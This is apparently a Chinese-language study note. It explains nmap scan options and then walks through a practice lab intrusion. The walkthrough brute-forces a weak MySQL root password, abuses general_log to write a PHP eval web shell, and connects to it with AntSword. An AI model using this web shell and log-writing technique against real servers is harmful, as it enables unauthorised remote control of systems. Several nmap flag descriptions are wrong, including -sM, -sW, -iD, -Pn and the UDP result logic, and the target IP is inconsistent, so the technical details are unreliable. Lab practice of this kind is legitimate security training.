8月5日
nmap命令使用
nmap四种基本功能:端口扫描、主机探测、服务识别、系统识别。
nmap ip
默认情况下,nmap
会对目标执行 TCP 端口扫描,尝试找出哪些端口是开放的,并提供关于这些端口上运行的服务的一些基本信息。
其他参数:
-sV
: 用于进行服务版本检测。-O
: 用于尝试识别目标主机的操作系统。-A
: 结合-sV
和-O
,进行更全面的扫描。-p
: 指定要扫描的端口,例如-p 80,443
。-v
: 显示详细输出。-vv
: 更详细的输出。-n
: 不进行 DNS 反向解析。-R
: 总是进行 DNS 反向解析。-iD
: 使用多线程进行主机发现。-sS
: SYN 扫描(默认)。发送一个 SYN 数据包,如果收到 SYN/ACK,则认为端口开放。-sT
: TCP 连接扫描。完成完整的三次握手建立连接,可能会留下日志记录。-sU
: UDP 扫描。发送 UDP 数据包,如果收到 ICMP 端口不可达消息,则认为端口关闭;如果没有回应,则认为端口开放。-sC
: 执行默认的脚本扫描。-sA
: ACK 扫描。发送 ACK 数据包,主要用于检测防火墙的过滤规则。-sW
: Window 扫描。发送带有窗口大小的 SYN 数据包,用于确定目标是否存活。-sM
: ICMP 扫描。发送 ICMP 数据包,用于确定目标是否存活。-sI
: IDLE 扫描。使用第三方主机作为跳板,隐蔽地进行扫描。-sX
: XMAS 扫描。发送带有 FIN, URG, 和 PSH 标志位的数据包,用于确定端口状态。-sF
: FIN 扫描。发送带有 FIN 标志位的数据包,用于确定端口状态。-sN
: NULL 扫描。发送没有任何标志位的数据包,用于确定端口状态。-T
: 设置扫描时间策略。范围从T1
(最慢) 到T5
(最快),默认是T3
。-T4
: 设置扫描时间为较快的速度。-T5
: 设置扫描时间为最快的速度。-f
: 分段扫描,用于绕过某些类型的防火墙。--script
: 指定一个或多个脚本进行扫描。例如--script vuln
将运行所有漏洞相关的脚本。--script-args
: 向脚本传递参数。--script-help
: 显示脚本的帮助信息。
端口扫描
扫描指定端口
nmap 192.168.5.138 -p 80
nmap 192.168.5.138 -p 1-80
nmap 192.168.5.138 -p 80,3389,22,21
nmap 192.168.5.138 -p 1-65535
nmap 192.168.5.138 -p- # -p- 等价于 -p 1-65535
主机探测
扫描网段中有哪些主机在线,使用 -sP
参数,只扫描存活主机,不扫描端口。
nmap -sP 192.168.5.0/24
服务识别
扫描端口时,默认显示端口对应的服务,但不显示服务版本。
想要识别具体的服务版本,使用-sV参数。
nmap 192.168.5.138 -p -sV
系统识别
使用参数 -O
nmap 192.168.5.138 -p 80 -O
Nmap扫描出的系统版本并完全准确,仅供参考。
当识别不出具体版本时,Nmap会以概率的形式列举出可能的操作系统
导出扫描结果
nmap 192.168.5.138 -p 80 -oN result.txt
红日靶场打靶
拿到ip:192.168.5.138
首先用nmap扫描看看。
namp -sV -Pn 192.168.48.144
使用Pn是为了进行隐蔽扫描,可以减少扫描过程中产生的网络活动,从而降低被检测的风险。
发现开着http和mysql服务。打开网站。发现是phpstudy探针,网站可能是phpstudy搭建的。
mysql开着,看看是否存在弱口令。
bp爆破出root,root弱口令。
御剑扫描目录。
发现数据库后台地址。使用弱口令登录。
查看是否有开启日志记录
show variables like '%general%';
设置路径。
开启日志读写功能
SET GLOBAL general_log='on';
添加木马。
select 1;/*'<?php eval ($_POST['cmd']);?>'*/
select 1;/*'<?php eval ($_POST['cmd']);?>'*/
蚁剑连接成功。